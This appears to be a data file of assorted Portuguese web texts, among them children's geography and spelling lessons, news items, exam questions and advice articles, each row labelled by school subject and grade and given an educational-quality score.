+"Preparar-se para uma prova exige uma dedicação que vai além do treinamento físico. Além de cumprir a planilha de treinamento, é preciso respeitar o tempo de descanso e também cuidar da alimentação. Mas quando o desafio envolve corridas de longa distância, existe um quarto fator tão importante quanto os demais: o psicológico. Se este não for treinado, a mente pode virar sua pior inimiga durante a prova, sendo capaz até de fazê-lo fracassar no grande dia.
+Abaixo, algumas dicas que vão ajudá-lo a desenvolver um bom preparo emocional para que o medo e a ansiedade não dominem você no dia da prova.
+Quanto mais o corredor conhecer seu próprio corpo, mais preparado ele estará no dia da prova. Correr ouvindo música ou conversando com amigos é ótimo para tirar o foco da distância, mas reserve uns dias do seu treino para correr livre de distrações. “É importante prestar atenção aos sinais que seu corpo dá em relação à musculatura, sistema cardiovascular e respiração”, aconselha Eduardo Cillo, doutor em psicologia experimental. Esse trabalho de auto-observação vai ajudar o atleta a perceber se está forçando muito ou se pode acelerar mais.
+É preciso estar ciente de que todo atleta entra em uma prova para correr contra ele mesmo. Tire o foco dos corredores ao seu lado e concentre-se em finalizar o trajeto e superar suas próprias marcas. Em corridas de longa distância, tentar acompanhar um adversário pode tanto servir de estímulo, como também ser algo desastroso, colocando-o sob risco de quebrar durante a prova.
+O corredor Flávio Oliveira, de 36 anos, sentiu na pele a importância de se manter positivo durante um desafio. “Participei no ano passado da Maratona Uphill, uma prova dificílima recheada de subidas intermináveis que testa todos os seus limites, principalmente o psicológico”, afirma. “Se eu não tivesse conseguido manter a autoconfiança, com certeza teria desistido”, relembra o atleta, que precisou lidar com fortes dores nas panturrilhas durante quase metade do percurso. “Essa prova me trouxe uma lição de vida muito importante, a de que precisamos sempre acreditar em nós mesmos. Se não der hoje, amanhã é um novo dia”.
+“Experimente vivenciar situações adversas durante o período de treinamento para as corridas de longa distância, lembrando sempre de aumentar as dificuldades gradativamente. Na medida em que as supera, o atleta vai conquistando mais confiança”, diz o psicólogo. Ainda assim, se surgir um imprevisto durante a prova, não deixe que isso tire o seu foco. “Houve uma mudança no ano passado que acrescentou 2 km ao trajeto, o que significa muito para quem já está cansado e com dor. Foi difícil não deixar que isso afetasse minha cabeça e colocasse tudo a perder”, diz o atleta.
+Converse com corredores que já tenham concluído o desafio que você se propôs a encarar. Quanto mais informações você tiver, mas confiança você vai adquirir. “Um dia antes da Uphill, eu subi toda a serra de carro e, apesar de ter ficado assustado com o percurso, acho que foi muito bom ver de perto o que me aguardava no dia seguinte”, diz Flávio.
+Seja qual for a distância da prova, o ideal é não pensar nela toda, mas sim em partes. “Dividir uma meia-maratona em três etapas, por exemplo, ajudará a manter o atleta motivado. Bem melhor pensar que você já completou um terço da prova do que apenas 7 km”, aconselha Eduardo.
+10 exercícios na academia para melhorar sua corrida
+ativo corrida O2corre treinamento",original,original,original,original,3,0.6
+"1_ Defina epilepsia e comente sobre suas causas.
+A epilepsia é uma família de diferentes distúrbios de crises recorrentes quetêm em comum, a descarga repentina, excessiva e sincronizada dos neurônios cerebrais, resultando em movimentos ou percepções anormais que têm curta duração mas tendem a se repetir. A causa da epilepsia édesconhecida, entretanto admite-se o componente genético e algumas condições que estão associadas ao aparecimento de crises e exigem tratamento com anticonvulsivantes. Essas crises podem ser doençasdegenerativas, tumores, estados febris, traumatismos, efeito tóxico de drogas, eclâmpsia, uremia, síndrome de abstinência de fármacos e drogas de abuso.
+2 _ Quais os tipos de epilepsia e porqueessa classificação é importante.
+A epilepsia pode ser classificada em dois tipos:
+Primária ou idiopática é quando não há evidência de causa anatômica específica. Podem existir devido a umaanormalidade herdada no SNC;
+A importância da classificação está no fato da escolha dofármaco ser baseado no tipo de crise a ser combatida podendo essas serem
+• Simples: os neurônios hiperativos que apresentam atividade elétricaanormal estão confinados a um local restrito do cérebro,ocorre em qualquer idade e o paciente apresenta atividade anormal em um dos membros ou em um grupo muscular controlado pela região cerebral como distúrbio.
+3 _ Tendo em vista as características do quadro epiléptico, discorra sobre os mecanismos de ação, de modo geral, dos fármacos anticonvulsivantes.
+Os fármacos antiepilépticosbloqueiam o início da descarga elétrica desde a área focal ou previnem o alastramento da descarga elétrica anormal para as áreas cerebrais adjacentes. O mecanismo usado para essa ação inclui o bloqueio...",original,original,original,original,3,0.6
+parabens!!! chegaste a receber a minha mensagem mariana?,original,original,original,original,0,0.0
+"Olá, pequenos exploradores! Já pararam para pensar em como o Brasil é um país gigante e cheio de lugares diferentes? Hoje, vamos embarcar em uma aventura para conhecer as paisagens brasileiras, que são como um grande quebra-cabeça de cores, formas e sons! 
+
+Imagine que você está voando de avião sobre o Brasil. Lá de cima, o que você vê? Talvez, um marzão azul brilhante beijando a areia da praia, não é? Essa é a paisagem litorânea! Nela, encontramos cidades como Rio de Janeiro e Salvador, com praias lindas e muita gente animada. As ondas quebram na areia, os passarinhos voam sobre o mar, e os pescadores lançam suas redes. Já sentiu a brisa do mar e ouviu o barulho das ondas? Essa é a magia do litoral!
+
+Agora, imagine que o avião está sobrevoando uma floresta gigante, verde e cheia de árvores altas. Essa é a Floresta Amazônica, a maior floresta tropical do mundo! Nela, vivem muitos animais, como macacos, araras e onças, além de rios enormes como o Rio Amazonas, que parece um mar de água doce. A floresta é muito importante para o nosso planeta, pois ajuda a manter o ar limpo e a proteger os animais.
+
+Se o avião continuasse a voar, poderíamos ver campos abertos, com plantações e animais pastando. Essa é a paisagem do Cerrado e da Pampa, onde o sol brilha forte e a terra é fértil. No Cerrado, encontramos árvores baixas e retorcidas, e na Pampa, campos vastos com grama e gado. Já imaginaram um cavalo correndo livremente nesses campos?
+
+E não podemos esquecer das montanhas! No Sudeste do Brasil, encontramos a Serra da Mantiqueira, com picos altos e muito verde. Lá, o ar é fresco e a vista é incrível. Já pensou em escalar uma montanha e ver o mundo lá de cima?
+
+As paisagens brasileiras são muito importantes para nós, pois elas nos fornecem comida, água, ar puro e muitos outros recursos. Por isso, devemos cuidar e proteger a natureza, para que as futuras gerações também possam aproveitar essas maravilhas. Que tal plantar uma árvore, economizar água ou separar o lixo para reciclagem? Pequenas ações podem fazer uma grande diferença!
+
+Então, qual paisagem brasileira você mais gostou de conhecer hoje? Que tal desenhar a sua paisagem favorita e mostrar para seus amigos e familiares? Explorar o Brasil é uma aventura incrível, e cada paisagem tem sua beleza e importância. Vamos continuar aprendendo e cuidando do nosso país!",Geografia,Paisagens brasileiras,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, especialmente para os anos iniciais do ensino fundamental. Ele introduz de forma lúdica e acessível as diferentes paisagens brasileiras, como o litoral, a Floresta Amazônica, o Cerrado, a Pampa e as montanhas, destacando suas características e importância. O texto estimula a imaginação das crianças e promove a conscientização sobre a preservação ambiental, além de sugerir atividades práticas como desenhar e plantar árvores. A linguagem é clara e adequada ao público-alvo.",5,1.0
+"Grátis Como fazer baby sitting Apps Descarregar Para PC completa | Jogos de baixar aplicativos para PC,Laptop,Janelas 7,8,10, XP
+Inicio Parenting Grátis Como fazer baby sitting Apps Descarregar Para PC completa
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+Como executar How to do Baby Sitting Apps for PC,Laptop,Windows 7/8/10 / XP
+Artigo anteriorLivre GFX ferramenta Apps download Para PC completa
+Próximo artigoPulseira livre inteligente 2 Aplicativos Baixar Para PC completa",original,original,original,original,1,0.2
+"Imagens do show de Roberto Carlos em Feira são prévia para apresentação em Conquista, veja vídeo. – A Gente diz
+O estádio Jóia da Princesa,Rei lotouna noite desta sexta-feira (26). Cantor se apresenta neste sábado em Vitória da Conquista. Quase todos os ingressos estão esgotados.
+Um show do rei Roberto Carlos em Feira de Santana é sempre um acontecimento. E assim foi nesta sexta-feira (26) quando o “rei” retornou à cidade. As cadeiras do gramado do estádio Joia da Princesa estavam lotadas, além de boa parte da arquibancada. A apresentação dá uma prévia quase exata de como será o show deste sábado (27), no Estádio Lomanto Júnior em Vitória da Conquista.
+Roberto Carlos subiu ao palco em Feira com meia hora de atraso cantando a música Emoções. O show estava previsto para começar às 20h30. Em duas horas, ele cantou 25 músicas, dentre elas, ‘Calhambeque’, revivendo a Jovem Guarda, ‘Mulher Pequena’, ‘Lady Laura’ e o novo sucesso da novela da Rede Globo A Força do Querer ‘Sereia’, tema da personagem Ritinha. “Eu recebi uma ligação de Glória Perez para gravar a música. Fazer uma música para Isis Valverde. Imagine como não está a minha cabeça”, disse. Assista:
+A enfermeira Lúcia Maria, que já está aposentada, faz parte da caravana do rei percorrendo vários estados. “Acompanho Roberto Carlos desde 1972 e vou aos shows porque ele só canta o amor”, finalizou. O encerramento foi com a música Jesus Cristo. Em seguida, Roberto Carlos começou a distribuir rosas e o público aplaudia de pé. Com informações do Acorda Cidade.",original,original,original,original,1,0.2
+"Serra – A cooperação técnica entre CONASS, Conasems e Fiocruz foi apresentada hoje (3), no XXX Congresso Nacional de Secretarias Municipais de Saúde, em Serra/ES.
+O vice-presidente da Fiocruz, Valcler Fernandes, a gerente de núcleos e secretária executiva do CONASS em exercício, Rita Cataneli, falaram sobre o papel das instituições e a importância da parceria entre elas.
+O objetivo da cooperação é construir uma Rede de Apoio à Gestão Estratégica do SUS, visando o estabelecimento de interações e parcerias horizontais e verticais de cooperação técnica entre Entes Federados, com foco no processo de organização da ação/atuação regionalizada do SUS.
+Rita Cataneli destacou a importância da cooperação. “É extremamente importante juntar esses atores para criarmos ferramentas que possibilitem a disseminação dessas informações. E as oficinas que realizamos são fundamentais porque são nelas que ouvimos os gestores que estão na ponta”, disse.
+Segundo ela, é a partir das informações passadas por esses profissionais durante as oficinas, que a cooperação CONASS, Conasems e Fiocruz encontra a necessidade de novos estudos. “Com os resultados dessas pesquisas, conseguimos aportar conhecimento para os gestores”, concluiu.
+Assim como Cataneli, o vice-presidente da Fiocruz, Valcler Fernandes, também enalteceu a cooperação. “É fundamental que as instituições de gestão estejam em permanente articulação com as instituições de ensino e pesquisa para que possamos encontrar soluções para os problemas da saúde”.
+Entre as principais estratégias utilizadas pelas entidades estão dar visibilidade a novas realidades políticas, sociais e sanitárias; promover o intercâmbio permanente de experiências no âmbito do SUS e gerar metodologias para acompanhamento e análise da política setorial.",original,original,original,original,3,0.6
+"Olá, pequenos exploradores da língua portuguesa! Já pararam para pensar como as palavras são incríveis? Elas nos permitem contar histórias, expressar nossos sentimentos e aprender sobre o mundo! Hoje, vamos embarcar em uma aventura ortográfica para desvendar os segredos de como escrever corretamente e usar a pontuação para deixar nossos textos ainda mais claros e bonitos.
+
+Imagine que você está escrevendo um bilhete para um amigo convidando-o para brincar. Se você escrever ""Queru brinca?"", seu amigo pode até entender, mas não vai parecer muito legal, não é mesmo? A ortografia nos ensina a usar as letras certas para formar as palavras de maneira correta, como ""Quero brincar?"". Percebeu a diferença? Usar a ortografia corretamente mostra que você se importa em se comunicar de forma clara e respeitosa.
+
+Agora, vamos falar sobre a pontuação. Ela é como um semáforo em um texto! A vírgula (,) indica uma pequena pausa, como quando respiramos um pouquinho antes de continuar falando. O ponto final (.) mostra que a frase terminou. E o ponto de interrogação (?) indica uma pergunta. Se você escrever ""Você gosta de sorvete"", sem o ponto de interrogação, parece que você está afirmando que a pessoa gosta de sorvete, e não perguntando! Então, usar a pontuação correta muda completamente o sentido do que você quer dizer.
+
+Vamos ver alguns exemplos práticos? Imagine que você quer contar sobre seu animal de estimação: ""Eu tenho um gato ele é muito fofo ele gosta de brincar com a bolinha"". Viu como fica confuso sem a pontuação? Agora, veja como fica melhor: ""Eu tenho um gato. Ele é muito fofo. Ele gosta de brincar com a bolinha.""
+
+Outro exemplo: ""Vamos comer crianças!"". Assustador, não é? Mas se colocarmos uma vírgula: ""Vamos comer, crianças!"", estamos apenas chamando as crianças para comer. A pontuação faz toda a diferença!
+
+Às vezes, algumas letras podem nos confundir, como o ""s"" e o ""z"". Por exemplo, a palavra ""casa"" se escreve com ""s"", mas tem som de ""z"". É importante prestar atenção e praticar bastante a leitura e a escrita para memorizar essas diferenças. Uma dica é ler muitos livros e pedir ajuda aos seus pais ou professores quando tiver dúvidas.
+
+E que tal desafiar seus amigos a escreverem frases usando a pontuação correta? Vocês podem criar histórias juntos e se divertir aprendendo! Lembrem-se, a ortografia e a pontuação são ferramentas poderosas que nos ajudam a nos comunicar melhor e a expressar nossas ideias de forma clara e criativa. Então, peguem seus lápis e cadernos e comecem a explorar o mundo mágico das palavras! Agora, pense um pouco: Como a ortografia e a pontuação podem te ajudar a contar uma história ainda mais emocionante? Qual a importância de escrever corretamente para que todos entendam o que você quer dizer? Explore, experimente e divirta-se com as palavras!",Português,Ortografia e pontuação,anos iniciais (1º ao 5º ano),"O trecho recebe 5 pontos. Apresenta informações básicas relevantes sobre ortografia e pontuação de forma clara e envolvente, utilizando exemplos práticos e linguagem acessível para o público infantil. Aborda conceitos importantes do currículo escolar de forma coerente e completa, incentivando a prática e a reflexão sobre o uso correto das palavras. É altamente relevante e proveitoso para fins educacionais no ensino fundamental, com conteúdo robusto e adequado para o nível de escolaridade.",5,1.0
+"Questões da Prova de Analista de Políticas Públicas e Gestão Governamental
+Questão: 406634
+As informações do texto mostram que a diversidade é um tema
+Para avaliar a importância da diversidade nas cidades, é preciso entender a extensão de sua conceituação. Seu significado vai desde a mistura de usos e atividades até a existência de uma grande variedade de estruturas urbanas e a garantia do direito à cidade pelos mais diversos grupos sociais.
+Esse conceito contraria o modelo de planejamento voltado à segregação de áreas homogêneas no tecido urbano. O encorajamento do pluralismo, em busca da diversidade, pode, de fato, ser mais um ativo importante do que uma ameaça.
+Estabelecer mecanismos que permitam às pessoas dos mais variados grupos étnicos e sociais terem direitos iguais aos espaços da cidade vai além da eficiência urbana e equidade. Conduz à urbanidade. A diversidade tem sido apontada como fator essencial para o funcionamento, o crescimento econômico e a atratividade das cidades.
+Para alguns pesquisadores, a diversidade deve ser focada nos espaços públicos, tornando cada área residencial um microcosmo da cidade, enfatizando-se a importância de prover espaços que ofereçam elevados níveis de interação entre as pessoas dos mais diferentes espectros sociais.
+Todavia, outras formas de diversidade são igualmente importantes no desenvolvimento urbano.
+As metrópoles de hoje estão se desenvolvendo rapidamente em cidades criativas, principalmente no que diz respeito às suas funções e ao capital humano. Elas são socialmente diversificadas como resultado da intensificação da migração e das diferenças socioeconômicas, revelando, ainda, múltiplas dimensões da identidade individual.
+A convivência com a diversidade, que toca em várias áreas da vida urbana, embora se constitua em um enorme desafio, ao mesmo tempo pode ser um recurso significativo das cidades contemporâneas. Portanto, embora seja importante descobrir caminhos para planejar a cidade plural, não menos importante é encontrar ferramentas que possam medir essa diversidade, de tal forma que ela possa ser avaliada e comparada em suas várias regiões.
+(Claudio Bernardes. Opinião. Folha de S.Paulo, 03.08.2015)
+de questionável validade para as políticas públicas, considerando-se que elas dificilmente podem romper com a desigualdade social vigente.
+de interesse para as políticas públicas, pensando-se nas possibilidades de uso dos espaços públicos na promoção de interação entre as pessoas.
+de amplitude para as políticas públicas, efetivando-se na análise dos diferentes grupos sociais de modo a promover a homogeneização cultural.
+de expressivo valor para as políticas públicas, propondo-se ações que visem minimizar o impacto social das subjetividades dos cidadãos nos espaços públicos.
+de pouco interesse para as políticas públicas, avaliando-se que a migração e as diferenças socioeconômicas atrapalham ações voltadas para os espaços públicos.
+Questão: 321822
+Compreender a dinâmica demográfica e sua espacialização é primordial para o planejamento do futuro da cidade de São Paulo e sua região metropolitana. Sobre a dinâmica demográfica mais recente, é correto afirmar que
+a chegada de imigrantes internacionais, como os bolivianos e os haitianos, especialmente a partir de 2000, produziu uma “explosão demográfica tardia” na cidade, acarretando o ressurgimento de problemas habitacionais nas áreas centrais, cuja ocupação já era considerada excessiva desde a década de 1970.
+o maior crescimento populacional tem ocorrido às margens das represas e nos limites das áreas de proteção dos mananciais, como resultado da busca de grande parte da população por lugares que ofereçam melhor qualidade de vida e que estejam mais próximos da natureza, causando o esvaziamento do centro.
+o crescimento da população tornou-se negativo a partir da década de 1990, com a migração das classes médias para condomínios fechados localizados em municípios vizinhos, fenômeno que tem provocado a saída de empresas da cidade e o au...",original,original,original,original,4,0.8
+"MÃE PAGARÁ R$ 10 MIL DE DANOS MORAIS POR ALIENAÇÃO PARENTAL CONTRA O PAI – ADFAS :: Associação de Direito de Família e das Sucessões
+terça-feira, 6 dezembro, 2022
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+MÃE PAGARÁ R$ 10 MIL DE DANOS MORAIS POR ALIENAÇÃO PARENTAL CONTRA O PAI
+MÃE PAGARÁ R$ 10 MIL DE DANOS MORAIS POR ALIENAÇÃO PARENTAL CONTRA O PAI
+By ADFAS Last updated 26 abr, 2022
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+Pai receberá indenização de R$ 10 mil por alienação parental da mãe com a filha do casal. A decisão é do juiz de Direito Hélio Aparecido Ferreira de Sena, 3ª vara Cível de Pindamonhangaba/SP, ao concluir que a conduta da genitora violou o direito fundamental do homem à convivência familiar com sua filha.
+Consta nos autos que o pai procurou a Justiça alegando que a filha sofria alienação parental pela genitora, dificultando, assim, seu acesso de convívio com a menor. Através de laudo psicossocial, foi comprovado a prática e sentença e acórdão regulamentaram as vistas entre o pai e a menor.
+Apesar da decisão judicial, o pai alegou que a genitora continuou influenciando a criança contra ele e impedindo-o de exercer seu direito de visitas, motivo pelo qual pleiteou indenização por danos morais. A mãe, por sua vez, negou ter influenciado a filha e alegou que o pai agia de maneira agressiva.
+Convivência familiar
+Ao analisar o caso, o magistrado destacou que, em processo anterior, o Judiciário já declarou que a filha do casal sofreu alienação parental provocada pela genitora. Pontuou, ainda, que a mãe “atuou de maneira negligente (culpa) no trato da relação da sua filha com o genitor, o que acarretou a alienação parental, com o que praticou uma conduta ilícita”.
+No entendimento do juiz, foi comprovado um abalo ao interesse jurídico do pai, pois teve seu direito fundamental à convivência familiar prejudicado pela conduta da genitora.
+“A alienação parental promovida pela requerida resultou no prejuízo ao exercício desse direito potestativo pelo autor, o que, inclusive, se repetiu depois de proferida a r. sentença em tela.”
+Nesse sentido, julgou procedente a demanda para condenar a genitora ao pagamento de R$ 10 mil a título de danos morais.",original,original,original,original,3,0.6
+"Na hora de definir como comprar um apartamento, saiba que não existe uma forma de pagamento ideal. O que existe é uma opção mais indicada para cada tipo de condição e necessidade do comprador. Essa decisão também pode depender do cenário econômico e do mercado imobiliário, então é importante saber sobre os pontos referentes a eles antes de negociar.Sendo assim, listamos aqui as formas de pagamento mais comuns do mercado para que você avalie a mais interessante para seu caso, e ao que deve estar atento.
+Valorizada por muitos especialistas, a compra à vista proporciona diversos benefícios ao investidor, entre eles, um maior poder de negociação para garantir descontos no valor total do imóvel e mais tranquilidade com as contas controladas.Sem a necessidade de encarar parcelas com juros, esse método permite que você foque em seus gastos em novos projetos, inclusive em uma reforma ou decoração do apartamento.O único cuidado a ser tomado é avaliar a possibilidade de sofrer uma descapitalização, ou seja, usar todas as economias para quitar o imóvel e ficar sem um tostão no banco. Para evitar o risco, é importante que o investidor faça uma compra adequada ao orçamento disponível ou elabore um novo planejamento financeiro no futuro.
+Para quem não tem dinheiro no banco e deseja desfrutar do apartamento o quanto antes, a melhor opção é o financiamento imobiliário. Nesse sistema, o comprador faz um empréstimo no banco para obter crédito suficiente para comprar o imóvel desejado. A partir do pagamento de um valor de entrada (que não pode ultrapassar 30% do valor da sua renda total), o beneficiário passa a devolver o valor em forma de parcelas com juros ao banco financiador.Nesse caso, a manutenção de um planejamento financeiro eficiente é valiosa, porque pode auxiliar no adiantamento de parcelas, garantindo a redução dos juros e, consequentemente, no valor total do bem.Ainda, dependendo do agente financeiro escolhido e do valor do apartamento, é possível aproveitar recursos do FGTS para amortizar prestações do financiamento e reduzir o peso das despesas.
+A aquisição por meio de consórcio é indicada para quem não tem pressa em desfrutar do apartamento. A vantagem é que as parcelas do sistema não têm juros e costumam ter seus valores definidos com base nas condições do beneficiário.Formado por um grupo de pessoas físicas ou jurídicas com objetivos em comum, o consórcio é organizado por uma empresa administradora que define os prazos e contempla cada participante com o valor necessário para a compra do bem.A cada mês, todos os consorciados pagam suas parcelas, que serão somadas para formar o valor de uma única carta de crédito. Por meio de sorteio ou lance, as cartas de crédito vão sendo entregues aos participantes até que o último membro seja beneficiado.Com o valor depositado na sua conta, você poderá dar entrada em um financiamento ou usá-lo em negociações de compra de apartamento à vista.
+O fato de o mercado imobiliário viver em constante mudança dificulta a avaliação de compradores leigos em operações do setor. Nesse sentido, vale a pena consultar um corretor para ajudá-lo a identificar possíveis benefícios e desvantagens de um negócio.Na busca do apartamento ideal, desconfie de ofertas com valores muito menores do que aqueles encontrados em outros empreendimentos do mercado. A fim de se aproveitar de compradores inexperientes, muitos vendedores podem esconder defeitos e problemas graves no imóvel, o que representa prejuízos ao futuro proprietário.
+Crédito: VivaReal",original,original,original,original,3,0.6
+"Pim lv - Trabalhos de Pesquisa - Carivaldo
+PRINCIPIOS E MÉTODOS FUNDAMENTAIS
+BRUNO ALEXANDRE FERREIRA Aluno Nº 20101013
+CARLOS DUARTE LOPES Aluno Nº 20101017
+RESUMO: O presente trabalho aborda o tema “Avaliação de Desempenho”, de forma abrangente e sucinta. São tratados os principais procedimentos a cumprir bem como os métodos mais usados na Avaliação de Desempenho e respectivos errosassociados.
+INDÍCE 1. INTRODUÇÃO 3 2. AVALIAÇÃO DE DESEMPENHO – ENQUADRAMENTO 2.1. O QUE È AVALIAÇÃO DE DESEMPENHO 3 2.2. OS PARTICIPANTES DO PROCESSO 3 2.2.1. O AVALIADOR 3 2.2.2. O AVALIADO 4 2.3. OBJECTIVOS DA AVALIAÇÃO DE DESEMPENHO 2.3.1. OBJETIVOS GERAIS 42.3.2. OBJETIVOS ESPECÍFICOS 5 2.4. PRESSUPOSTOS DA AVALIAÇÃO 2.4.1. DEFINIÇÃO DAS COMPETÊNCIAS 5 2.4.2. ANÁLISE DAS VARIÁVEIS 5 2.4.3. COMPROMETIMENTO 6 3. BENEFÍCIOS PARA OS AVALIADORES E AVALIADOS 4. AVALIAÇÃO GLOBAL DO DESEMPENHO 4.1. DEFINIÇÃO DE OBJECTIVOS 7 4.1.1. O QUE SÃO OBJECTIVOS 7 4.1.2. PRINCÍPIOS A CONSIDERAR NA DEFINIÇÃO DE OBJECTIVOS 7 4.1.3. COMO DEFINIR OBJECTIVOS 8 4.1.4. COMOAVALIAR OS OBJECTIVOS 10 4.2. AVALIAÇÃO PRÉVIA DO DESEMPENHO 10 4.3. AUTO-AVALIAÇÃO 11 4.4. ENTREVISTA 4.4.1 REGRAS A CONSIDERAR 4.5. HARMONIZAÇÃO DAS AVALIAÇÕES 4.6. INFORMAÇÕES RESULTANTES 5. MÉTODOS PARA AVALIAÇÃO DE DESEMPENHO 5.1. MÉTODOS TRADICIONAIS 5.1.1. PONTOS CRÍTICOS E DESVANTAGENS 5.1.2. PRINCIPAIS ERROS 5.2. AVALIAÇÃO POR COMPETÊNCIAS 5.2.1. METODOLOGIA 6. CONSIDERAÇÕES FINAIS 7.CONCEITOS CHAVE 8. BIBLIOGRAFIA 12 12 13 13 14 15 15 17 18 19 19 2 11
+Actualmente as instituições procuram “avaliar para evoluir” e resgatar o que é mais humano nas pessoas, ou seja: o conhecimento, a criatividade, a sensibilidade e o seu compromisso. De acordo com FISCHER (2004), a ideia de um “modelo de gestão” é de desenvolvimento mútuo, ou seja, a organização, aodesenvolver-se, desenvolve pessoas e estas, a organização. É importante que a empresa encontre dispositivos de avaliação mais efectivos que gerem resultados amplos e duradouros para a instituição e para a própria pessoa, de acordo com os objectivos organizacionais, tais como: o Planeamento Estratégico, a Avaliação Institucional, o Programa de Certificação e a Implantação da Carreira dos funcionários. Surgiuentão a Avaliação de Desempenho que foi originalmente estruturada para mensurar o desempenho e o potencial do funcionário, tratando-se de uma avaliação sistemática, feita pelos supervisores ou outros hierarquicamente superiores familiarizados com as rotinas e demandas do trabalho. Ela fornece aos colaboradores informações sobre a própria actuação, de forma que possam aperfeiçoá-la sem diminuir a suaindependência e motivação para a realização do trabalho. O desempenho reflectese no sucesso da própria organização e talvez por isso é característica mais óbvia a ser medida.
+4. AVALIAÇÃO DE DESEMPENHO – ENQUADRAMENTO
+2.1. O QUE È AVALIAÇÃO DE DESEMPENHO
+Avaliação de desempenho é a apreciação sistemática de um subordinado segundo um trabalho feito, suas aptidões e outras qualidades necessáriasà boa execução do seu trabalho. Esta ligada, frequentemente, mas não necessariamente, as vantagens financeiras a titulo de encorajamento. Para CHIAVENATO (1981), a Avaliação de Desempenho é uma sistemática apreciação de desempenho do indivíduo no cargo e do seu potencial de desenvolvimento e através da avaliação podem ser observadas e avaliadas competências como: visão estratégica, planeamento,organização, responsabilidade, acompanhamento, liderança, delegação, tomada de decisão, solução de problemas, iniciativa, proactividade, criatividade e inovação, orientação a resultados, auto-desenvolvimento, administração de conflitos, capacidade de negociação, flexibilidade e adaptação a mudanças, competências interpessoais e trabalho em equipa.
+2.2. OS PARTICIPANTES DO PROCESSO
+2.2.1. O...
+Comportamento organizacional Estagio Esgotamento sanitario Estágio curricular i - ed. infantil O reconhecimento da uniao homoafetiva como entidade familiar Direito aplicado
+{""essaysImgCd...",original,original,original,original,4,0.8
+"É por isso que o pão francês endurece e o pão de forma não - Segredos do Mundo
+Curiosidades » É por isso que o pão francês endurece e o pão de forma não
+Já deu uma mordida em um pão amanhecido? Entenda por que o pão francês endurece e o pão de forma não? Entenda o mistério por trás das receitas.
+26/03/2018, 21h41
+Se você é fã incondicional do tradicional pão francês, também chamado de cacetinho, careca, pão de sal e assim por diante (dependendo da região do país); provavelmente não se importa muito se ele estiver um pouco mais murchinho. Mesmo assim, ninguém nega que o charme do pão francês é quando ele está fresquinho, se possível ainda quente, com manteiga e o que mais convir.
+Mas, mesmo os que não conseguem viver sem o pãozinho nosso de cada dia têm que admitir: o pão francês já não tem a mesma textura depois de algumas horas e, infelizmente, ele endurece rápido e perde a umidade do miolo.
+Agora, se você nunca entendeu porque esse processo acontece tão instantaneamente com o pão francês e porque o pão de forma se conserva tão fofinho por tanto tempo a explicação é bem simples: são os conservantes da massa.
+Quem entende de pão francês explica que em sua receita não entram conservantes e outros produtos para prolongar sua durabilidade. A massa, basicamente, leva farinha, fermento, água e sal.
+Por que o pão de forma é tão fofinho?
+O pão de forma, por sua vez, leva outros ingredientes que favorecem não só a maciez, mas também a data de validade do alimento.
+E não são só os emulsificantes, os umectantes e os conservantes antimofo que pesam nisso, mas também o açúcar e a gordura acrescentados à massa.
+E então, entendeu o “mistério”? Pelo menos agora você sabe que o pãozinho de sal tem menos ingredientes industrializados!
+E, falando em pães, você que não pode se dar ao luxo de cair de boca nessa lanchinho, não deixe de conferir também: 7 sinais de que você pode ter intolerância ao glúten.",original,original,original,original,2,0.4
+"Nascido em Nova Venécia, Wemerson atualmente reside na Serra, onde vai disputar pela primeira vez as eleições. Ele é um dos pré-candidatos do partido à Câmara Federal. “Sou pré-candidato a deputado federal porque acredito no meu projeto de vida para melhorar o meu Estado e país”, disse ele.
+Professor de Ciências, ele é o idealizador do projeto “Filtrando as Lágrimas do Rio Doce”, que ajudou a mais de 30 mil famílias, vítimas do desastre ambiental após o rompimento das barragens da Samarco, em Minas Gerais. “Fui projetado mundialmente como referência na educação, sendo eleito o professor nota 10 do Brasil e um dos 10 melhores do mundo. Minha principal bandeira será a educação, que infelizmente não tem sido pauta de prioridade para nossos governantes”, avaliou.
+O professor disse ainda que seu projeto tem como foco construir de forma coletiva os princípios da democracia brasileira. “Este ano, será a eleição da verdade e eu desejo que a população capixaba, no dia das eleições, busque agir com o coração e a razão”, concluiu.",original,original,original,original,2,0.4
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+A CONTRATAÇÃO DE SEGURO É OPCIONAL, sendo possível a desistência do contrato em até 7 dias corridos contados da data da emissão do bilhete de seguro com a devolução integral do valor pago.
+É PROIBIDO CONDICIONAR O DESCONTO NO PREÇO DO BEM A AQUISIÇÃO DO SEGURO
+A comercialização do seguro é fiscalizada pela SUSEP (Superintendência de Seguros Privados) www.susep.gov.br. Telefone: 0800 021 8484.
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+"O CD 'Anahí' é o registro de shows gravaram ao vivo em shows no Instituto Cultural Itaú (SP) da dupla Tetê e Alzira Espíndola. Estão presentes no repertório, polcas, guarânias e clássicos do cancioneiro popular, como 'Chalana', 'India' e 'Meu...
+'Mi Delírio', primeiro álbum solo da cantora Anahí, já cercado de muita expectativa por parte de fãs. O CD da ex-integrante do RBD inclui a faixa título, primeiro single de trabalho, além de belas baladas como 'Hasta que Llegues Tu' e 'No Te Quiero...
+Depois do enorme sucesso de seu mais recente álbum 'Mi Delirio', que a levou ao topo do pop mexicano e paradas, Billboard Latin e álbuns pop latino e premiou com várias nomeações para os Premios Lo Nuestro e Kids Choice Awards, entre outros. Anahí...",original,original,original,original,1,0.2
+"AEPET Aepet - A esquerda, os militares, o imperialismo e o desenvolvimento
+A esquerda, os militares, o imperialismo e o desenvolvimento
+07 Janeiro Escrito por José Luís Fiori Lido 781 vezes
+Agenda ultraliberal no Brasil não dará conta de crescer a economia e diminuir desigualdade
+As grandes potências são aqueles Estados de toda parte da Terra que possuem elevada capacidade militar perante os outros, perseguem interesses continentais ou globais e defendem estes interesses por meio de uma ampla gama de instrumentos, entre eles a força e ameaças de força, sendo reconhecidos pelos Estados menos poderosos como atores principais que exercem direitos formais excepcionais nas relações internacionais.
+(Charles Tilly, Coerção, Capital e Estados Europeus. São Paulo: EDUSP, 1996, p. 247)
